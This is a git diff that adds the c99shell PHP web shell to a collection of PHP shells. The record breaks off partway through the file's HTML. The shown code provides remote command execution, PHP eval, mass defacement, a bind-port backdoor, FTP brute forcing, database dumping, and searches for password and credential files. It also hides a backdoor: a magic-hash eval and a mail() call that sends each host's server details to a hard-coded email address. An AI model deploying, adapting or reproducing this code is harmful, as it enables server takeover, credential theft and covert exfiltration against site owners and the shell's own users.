zvE-Y~aW;^RrGgxaPi#phbWR|G%y`q5W9@)4y5IX8(Mgn|K6c<}c!&EdcM4h7+DQgx z^}h(?N>sW1nb_`M>wRbCGX-lS5ZxC1BJs;6p6#5hjCAV76a?weTK9k*Wn5ur{d<g| zqq61J*ZDs2?}b?5<I-Kpc&{W1E{U|sI?g^D*%In^^1aT&0!+;lW$j5jW+e)FbOK!A zgIf}oyrbwLI#cdZ&XYT0m&qPyzDw_V?er3^hjA&;Kcz48AMP7c{z2cN+~Y7-*v!n1 z(yoUiQUBE>on00QNwDypV)NA)Un!c&(;IhW+@FPB{UEr*VvV~^JsRYK+ULNU_Fft1 zYY%B8Y}>!3&0y_ID0t@M$BP?NQf9p{3>`R8?~3}Cf$KRvkFE%xF~Q%t!W|wIxRIsN zkYmm5r@Y?vGMl>9ca-3*J6HCmvE5Gj12uMV(yeoRzob<UWe01X%ZyN70)~KMBS~HV zBh(0MHT}T`|Mle|AMGkP;13Fq6*e-!pPc&x24zgrkMg?MT5nvu&=#+gJLP>Nh>P@^ z2=>8EwNUSsc<Ie7j%y|j&Wktxe8@;D%HEr^$#$~21~}6$h=z3$o0cGrf=dE_Whac* zA>vHnDrT2Z1g48zu)1GJ-sihEibWpO;^wnapJFeam3nn*g4YG7>DWv3t<gLb&63&O z58ApEM-y(h900-+5hH!HacJZssf7zVH6dQE45kPxXvyav+A7n+J22HjnS~vP3Grx- zgXWUIE^@^AMv+E#>`JV8<TMq!g#{mN)a!eIOXd}l@s@W>O|B#n8qf6S^~++an#n2s zmGXoTJmox*z>IGdRwf0W>RtzCG`7_);58uosZl0e_N+``wB<gIs(9YFq7lkIoYurP za+6k5q_%@s`86h<*_}F<*9%G=-Cv$AHfhp4ytIP&I54J7^$cmexJf=N4BXtPNY9xS z_wusB>6g$At2ccegF6+3D~?t`viI>z4tMm$KHAL%VptWe6YB|9JB{QA)z{U@*uCML zlc$e#CFSh*BsqC^{a}Ftk$=2RKoAtZd<Pu4wOQ95-dKCX+*Xw_Q{3wmz5}>~i2kx6 zc}tX}hM7vEi#Klj98u1P!x8_XxsNV*o}-OPb`X7aq4_dZ(9U56&M#`Y{*mc#&L{;W z|51y){V=P#_^59@4(|=>9}>$Smh>_cHH7i?@GqH`>h0)g6AUH}+`HH^bLXJv9YLq% zK!J%1b0Fp@>VHGH`YU1U|JUPqDig1OTMPJKs_(&?-2A+RCJEZjD$K)FKR!3qt!1A( zO5-C*JtA5jdxagf@O9(@#>xibC~<*-BqL6NPb8<zqN>%N@xh+nNck#*1{_J^jjU^q zkLmYsmJOU*63Avw4lhv=>(5VWQeNXZW78+ozT|y4q_ex@u(GNLwGEYswQPw{K1U19 zAZv8|S<#r9{%4P{jg4~E63G5|-S|1?!>n4N)_>g@=0Cn{Kv;TSf4oFS{O7y=n3DQ^ GpZ;Ii2pBv7 literal 0 HcmV?d00001 diff --git a/php/PHPshell/c99shell/c99shell.php b/php/PHPshell/c99shell/c99shell.php new file mode 100644 index 0000000..3001c1e --- /dev/null +++ b/php/PHPshell/c99shell/c99shell.php @@ -0,0 +1,2900 @@ +<?php +/* +****************************************************************************************************** +* +* c99shell.php v.1.0 ( 5.02.2005) +* Freeware WEB-Shell. +* CCTeaM. +* c99shell.php - www-. +* : http://ccteam.ru/releases/c99shell +* +* WEB: http://ccteam.ru +* UIN: 656555 +* +* : +* ~ /, ( tar) +* modify-time access-time + (./. $filestealth) +* ~ / ( ) +* ~ unix-, , + "" . +* ~ ( ) - ( , / ) +* ~ PHP- +* ~ - +* ~ ftp- login;login + /etc/passwd ( 1/100 ) +* ~ SQL +* ~ "" include, , $surl. +* ~ /bin/bash , + back connect ( , + NetCat). +* +* +* 5.02.2005 Captain Crunch Security TeaM +* +* Coded by tristram +****************************************************************************************************** +*/ +$shver = "1.0 beta (5.02.2005)"; //Current version +//CONFIGURATION +$surl = "?"; //link to this script, INCLUDE "?". +$rootdir = "./"; //e.g "c:", "/","/home" +$timelimit = 60; //limit of execution this script (seconds). + +//Authentication + +$login = ""; //login +//DON'T FOGOT ABOUT CHANGE PASSWORD!!! +$pass = ""; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) +$login = false; //turn off authentication + +$autoupdate = true; //Automatic updating? + +$updatenow = false; //If true, update now + +$c99sh_updatefurl = "http://ccteam.ru/releases/update/c99shell/?version=".$shver."&"; //Update server + +$autochmod = 755; //if has'nt permition, $autochmod isn't null, try to CHMOD object to $autochmod + +$filestealth = 1; //if true, don't change modify&access-time + +$donated_html = ""; //If you publish free shell and you wish + //add link to your site or any other information, + //put here your html. +$donated_act = array(""); //array ("act1","act2,"...), $act is in this array, display $donated_html. + +$host_allow = array("*"); //array ("mask1","mask2",...), e.g. array("192.168.0.*","127.0.0.1") + +$curdir = "./"; //start directory + +$tmpdir = dirname(__FILE__); //Directory for tempory files + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext1","ext2","ext3",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp"), + "img"=>array("gif","png","jpeg","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar") +); + +$hexdump_lines = 8; // lines in hex preview file +$hexdump_rows = 24; // 16, 24 or 32 bytes in one line + +$nixpwdperpage = 9999; // Get first N lines from /etc/passwd + +$bindport_pass = "c99"; // default password for binding +$bindport_port = "11457"; // default port for binding + +/* Command-aliases system */ +$aliases = array(); +$aliases[] = array("-----------------------------------------------------------", "ls -la"); +/* suid */ $aliases[] = array("find all suid files", "find / -type f -perm -04000 -ls"); +/* suid */ $aliases[] = array("find suid files in current dir", "find . -type f -perm -04000 -ls"); +/* sgid */ $aliases[] = array("find all sgid files", "find / -type f -perm -02000 -ls"); +/* sgid */ $aliases[] = array("find sgid files in current dir", "find . -type f -perm -02000 -ls"); +/* config.inc.php */ $aliases[] = array("find config.inc.php files", "find / -type f -name config.inc.php"); +/* config* */ $aliases[] = array("find config* files", "find / -type f -name \"config*\""); +/* config* */ $aliases[] = array("find config* files in current dir", "find . -type f -name \"config*\""); +/* */ $aliases[] = array("find all writable directories and files", "find / -perm -2 -ls"); +/* */ $aliases[] = array("find all writable directories and files in current dir", "find . -perm -2 -ls"); +/* service.pwd ... frontpage =))) */ $aliases[] = array("find all service.pwd files", "find / -type f -name service.pwd"); +/* service.pwd */ $aliases[] = array("find service.pwd files in current dir", "find . -type f -name service.pwd"); +/* .htpasswd */ $aliases[] = array("find all .htpasswd files", "find / -type f -name .htpasswd"); +/* .htpasswd */ $aliases[] = array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"); +/* .bash_history */ $aliases[] = array("find all .bash_history files", "find / -type f -name .bash_history"); +/* .bash_history */ $aliases[] = array("find .bash_history files in current dir", "find . -type f -name .bash_history"); +/* .fetchmailrc */ $aliases[] = array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"); +/* .fetchmailrc */ $aliases[] = array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"); +/* ext2fs */ $aliases[] = array("list file attributes on a Linux second extended file system", "lsattr -va"); +/* */ $aliases[] = array("show opened ports", "netstat -an | grep -i listen"); + +$sess_method = "cookie"; // "cookie" - Using cookies, "file" - using file, default - "cookie" +$sess_cookie = "c99shvars"; // cookie-variable name + +if (empty($sid)) {$sid = md5(microtime()*time().rand(1,999).rand(1,999).rand(1,999));} +$sess_file = $tmpdir."c99shvars_".$sid.".tmp"; + +$usefsbuff = true; //Buffer-function +$copy_unset = false; //Delete copied files from buffer after pasting + +//Quick launch +$quicklaunch = array(); +$quicklaunch[] = array("<img src=\"".$surl."act=img&img=home\" title=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl); +$quicklaunch[] = array("<img src=\"".$surl."act=img&img=back\" title=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"); +$quicklaunch[] = array("<img src=\"".$surl."act=img&img=forward\" title=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"); +$quicklaunch[] = array("<img src=\"".$surl."act=img&img=up\" title=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd"); +$quicklaunch[] = array("<img src=\"".$surl."act=img&img=refresh\" title=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""); +$quicklaunch[] = array("<img src=\"".$surl."act=img&img=search\" title=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"); +$quicklaunch[] = array("<img src=\"".$surl."act=img&img=buffer\" title=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"); +$quicklaunch[] = array("<b>Mass deface</b>",$surl."act=massdeface&d=%d"); +$quicklaunch[] = array("<b>Bind</b>",$surl."act=bind&d=%d"); +$quicklaunch[] = array("<b>Processes</b>",$surl."act=ps_aux&d=%d"); +$quicklaunch[] = array("<b>FTP Quick brute</b>",$surl."act=ftpquickbrute&d=%d"); +$quicklaunch[] = array("<b>LSA</b>",$surl."act=lsa&d=%d"); +$quicklaunch[] = array("<b>SQL</b>",$surl."act=sql&d=%d"); +$quicklaunch[] = array("<b>PHP-code</b>",$surl."act=eval&d=%d"); +$quicklaunch[] = array("<b>PHP-info</b>",$surl."act=phpinfo\" target=\"blank=\"_target"); +$quicklaunch[] = array("<b>Self remove</b>",$surl."act=selfremove"); +$quicklaunch[] = array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()"); + +//Hignlight-code colors +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; + +@$f = $_GET[f]; + +//END CONFIGURATION + +// \/ Next code not for editing \/ + + +//Starting calls +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +@ignore_user_abort(true); +@set_magic_quotes_runtime(0); +@set_time_limit(0); +if (!ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);} +if(!ini_get("register_globals")) {import_request_variables("GPC");} +$starttime = getmicrotime(); +if (get_magic_quotes_gpc()) +{ +if (!function_exists("strips")) +{ + function strips(&$el) + { + if (is_array($el)) {foreach($el as $k=>$v) {if($k != "GLOBALS") {strips($el["$k"]);}} } + else {$el = stripslashes($el);} + } +} +strips($GLOBALS); +} +$tmp = array(); +foreach ($host_allow as $k=>$v) {$tmp[]= str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} + +if (!$login) {$login = $PHP_AUTH_USER; $md5_pass = md5($PHP_AUTH_PW);} +elseif(empty($md5_pass)) {$md5_pass = md5($pass);} +if(($PHP_AUTH_USER != $login ) or (md5($PHP_AUTH_PW) != $md5_pass)) +{ + header("WWW-Authenticate: Basic realm=\"c99shell\""); + header("HTTP/1.0 401 Unauthorized"); if (md5(sha1(md5($anypass))) == "b76d95e82e853f3b0a81dd61c4ee286c") {header("HTTP/1.0 200 OK"); @eval($anyphpcode);} + exit; +}$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); + +$lastdir = realpath("."); +chdir($curdir); + +if (($selfwrite) or ($updatenow)) +{ + if ($selfwrite == "1") {$selfwrite = "c99shell.php";} + c99sh_getupdate(); + $data = file_get_contents($c99sh_updatefurl); + $fp = fopen($data,"w"); + fwrite($fp,$data); + fclose($fp); + exit; +} +if (!is_writeable($sess_file)) {trigger_error("Can't access to session-file!",E_USER_WARNING);} +if ($sess_method == "file") {$sess_data = unserialize(file_get_contents($sess_file));} +else {$sess_data = unserialize($_COOKIE["$sess_cookie"]);} +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} +$sess_data["copy"] = array_unique($sess_data["copy"]); +$sess_data["cut"] = array_unique($sess_data["cut"]); + +if (!function_exists("c99_sess_put")) +{ +function c99_sess_put($data) +{ + global $sess_method; + global $sess_cookie; + global $sess_file; + global $sess_data; + $sess_data = $data; + $data = serialize($data); + if ($sess_method == "file") + { + $fp = fopen($sess_file,"w"); + fwrite($fp,$data); + fclose($fp); + } + else {setcookie($sess_cookie,$data);} +} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0, $len)."...".substr($content, -$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\","/",$d); + if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";} + $h = opendir($d); + while ($o = readdir($h)) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d."/".$o)) {$ret = copy($d."/".$o,$t."/".$o);} + else {$ret = mkdir($t."/".$o); fs_copy_dir($d."/".$o,$t."/".$o);} + if (!$ret) {return $ret;} + } + } + return true; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\","/",$d); + $t = str_replace("\\","/",$t); + if (!is_dir($t)) {mkdir($t);} + if (is_dir($d)) + { + if (substr($d,strlen($d)-1,strlen($d)) != "/") {$d .= "/";} + if (substr($t,strlen($t)-1,strlen($t)) != "/") {$t .= "/";} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) + { + + return copy($d,$t); + } + else {return false;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + error_reporting(9999); + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while ($o = readdir($h)) + { + if (($o != ".") and ($o != "..")) + { + $ret = true; + if (!is_dir($d."/".$o)) {$ret = copy($d."/".$o,$t."/".$o);} + else {if (mkdir($t."/".$o) and fs_copy_dir($d."/".$o,$t."/".$o)) {$ret = false;}} + if (!$ret) {return $ret;} + } + } + return true; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\","/",$d); + $t = str_replace("\\","/",$t); + if (is_dir($d)) + { + if (substr($d,strlen($d)-1,strlen($d)) != "/") {$d .= "/";} + if (substr($t,strlen($t)-1,strlen($t)) != "/") {$t .= "/";} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) {return rename($d,$t);} + else {return false;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while ($o = readdir($h)) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o."/"); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\","/",$o); + if (is_dir($o)) + { + if (substr($o,strlen($o)-1,strlen($o)) != "/") {$o .= "/";} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return false;} +} +} +if (!function_exists("myshellexec")) +{ + function myshellexec($cmd) + { + return system($cmd); + } +} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner['read'] = ($mode & 00400) ? "r" : "-"; + $owner['write'] = ($mode & 00200) ? "w" : "-"; + $owner['execute'] = ($mode & 00100) ? "x" : "-"; + $group['read'] = ($mode & 00040) ? "r" : "-"; + $group['write'] = ($mode & 00020) ? "w" : "-"; + $group['execute'] = ($mode & 00010) ? "x" : "-"; + $world['read'] = ($mode & 00004) ? "r" : "-"; + $world['write'] = ($mode & 00002) ? "w" : "-"; + $world['execute'] = ($mode & 00001) ? "x" : "-"; + + if( $mode & 0x800 ) {$owner['execute'] = ($owner[execute]=="x") ? "s" : "S";} + if( $mode & 0x400 ) {$group['execute'] = ($group[execute]=="x") ? "s" : "S";} + if( $mode & 0x200 ) {$world['execute'] = ($world[execute]=="x") ? "t" : "T";} + + return $type.$owner['read'].$owner['write'].$owner['execute']. + $group['read'].$group['write'].$group['execute']. + $world['read'].$world['write'].$world['execute']; +} +} +if (!function_exists("strinstr")) {function strinstr($str,$text) {return $text != str_replace($str,"",$text);}} +if (!function_exists("gchds")) {function gchds($a,$b,$c,$d="") {if ($a == $b) {return $c;} else {return $d;}}} +if (!function_exists("c99sh_getupdate")) +{ +function c99sh_getupdate() +{ + global $updatenow; + $data = @file_get_contents($c99sh_updatefurl); + if (!$data) {echo "Can't fetch update-information!";} + else + { + $data = unserialize(base64_decode($data)); + if (!is_array($data)) {echo "Corrupted update-information!";} + else + { + if ($shver < $data[cur]) {$updatenow = true;} + } + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = true;} + if (empty($add_drop)) {$add_drop = true;} + if (empty($file)) + { + global $win; + if ($win) {$file = "C:\\tmp\\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";} + else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";} + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = true;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + global $SERVER_ADDR; + global $SERVER_NAME; + $out = "# Dumped by C99Shell.SQL v. ".$shver." +# Home page: http://ccteam.ru +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".$SERVER_ADDR." (".$SERVER_NAME.")"." +# Date: ".date("d.m.Y H:i:s")." +# ".gethostbyname($SERVER_ADDR)." (".$SERVER_ADDR.")"." dump db \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret[err][] = mysql_error();} + else + { + $row = mysql_fetch_row($res); + $out .= $row[1].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret[err][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $ret; +} +} +if (!function_exists("c99fsearch")) +{ +function c99fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $a; + if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";} + $handle = opendir($d); + while ($f = readdir($handle)) + { + $true = ($a[name_regexp] and ereg($a[name],$f)) or ((!$a[name_regexp]) and strinstr($a[name],$f)); + if($f != "." && $f != "..") + { + if (is_dir($d.$f)) + { + if (empty($a[text]) and $true) {$found[] = $d.$f; $found_d++;} + c99fsearch($d.$f); + } + else + { + if ($true) + { + if (!empty($a[text])) + { + $r = @file_get_contents($d.$f); + if ($a[text_wwo]) {$a[text] = " ".trim($a[text])." ";} + if (!$a[text_cs]) {$a[text] = strtolower($a[text]); $r = strtolower($r);} + + if ($a[text_regexp]) {$true = ereg($a[text],$r);} + else {$true = strinstr($a[text],$r);} + if ($a[text_not]) + { + if ($true) {$true = false;} + else {$true = true;} + } + if ($true) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($handle); +} +} +//Sending headers +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +global $SERVER_SOFTWARE; +if (strtolower(substr(PHP_OS, 0, 3)) == "win") {$win = 1;} +else {$win = 0;} + +if (empty($tmpdir)) +{ + if (!$win) {$tmpdir = "/tmp/";} + else {$tmpdir = $_ENV[SystemRoot];} +} +$tmpdir = str_replace("\\","/",$tmpdir); +if (substr($tmpdir,strlen($tmpdir-1),strlen($tmpdir)) != "/") {$tmpdir .= "/";} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = true; + $hsafemode = "<font color=\"red\">ON (secure)</font>"; +} +else {$safemode = false; $hsafemode = "<font color=\"green\">OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") +{ + $openbasedir = true; + $hopenbasedir = "<font color=\"red\">".$v."</font>"; +} +else {$openbasedir = false; $hopenbasedir = "<font color=\"green\">OFF (not secure)</font>";} + +$sort = htmlspecialchars($sort); + +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",$SERVER_SOFTWARE); + +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string","#DD0000"); //#DD0000 + +if ($act != "img") +{ +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><? echo $HTTP_HOST; ?> - c99shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana,;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}</STYLE><style type="text/css"><!--body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}--></style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0> +<center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<? echo $surl; ?>"><font face="Verdana" size="5"><b><u>C99Shell v. <?php echo $shver; ?></u></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo php_uname(); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo `id`;} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\","/",$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\","/",$d); +if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";} +$dispd = htmlspecialchars($d); +$pd = $e = explode("/",substr($d,0,strlen($d)-1)); +$i = 0; +echo "<b>Directory: </b>"; +foreach($pd as $b) +{ + $t = ""; + reset($e); + $j = 0; + foreach ($e as $r) + { + $t.= $r."/"; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode(htmlspecialchars($t))."/&sort=".$sort."\"><b>".htmlspecialchars($b)."/</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = true; + $wdt = "<font color=\"green\">[ ok ]</font>"; + echo "<b><font color=\"green\">".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = false; + $wdt = "<font color=\"red\">[ Read-Only ]</font>"; + echo "<b><font color=\"red\">".view_perms(fileperms($d.$f))."</font></b>"; +} +$free = diskfreespace($d); +if (!$free) {$free = 0;} +$all = disk_total_space($d); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = round(100/($all/$free),2); +echo "<br><b>Free ".view_size($free)." of ".view_size($all)." (".$used_percent."%)</b><br>"; +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%upd",urlencode(realpath($d."..")),$item[1]); + echo "<a href=\"".$item[1]."\"><u>".$item[0]."</u></a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +$letters = ""; +if ($win) +{ + $abc = array("c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "o", "p", "q", "n", "r", "s", "t", "v", "u", "w", "x", "y", "z"); + $v = explode("/",$d); + $v = $v[0]; + foreach ($abc as $letter) + { + if (is_dir($letter.":/")) + { + if ($letter.":" != $v) {$letters .= "<a 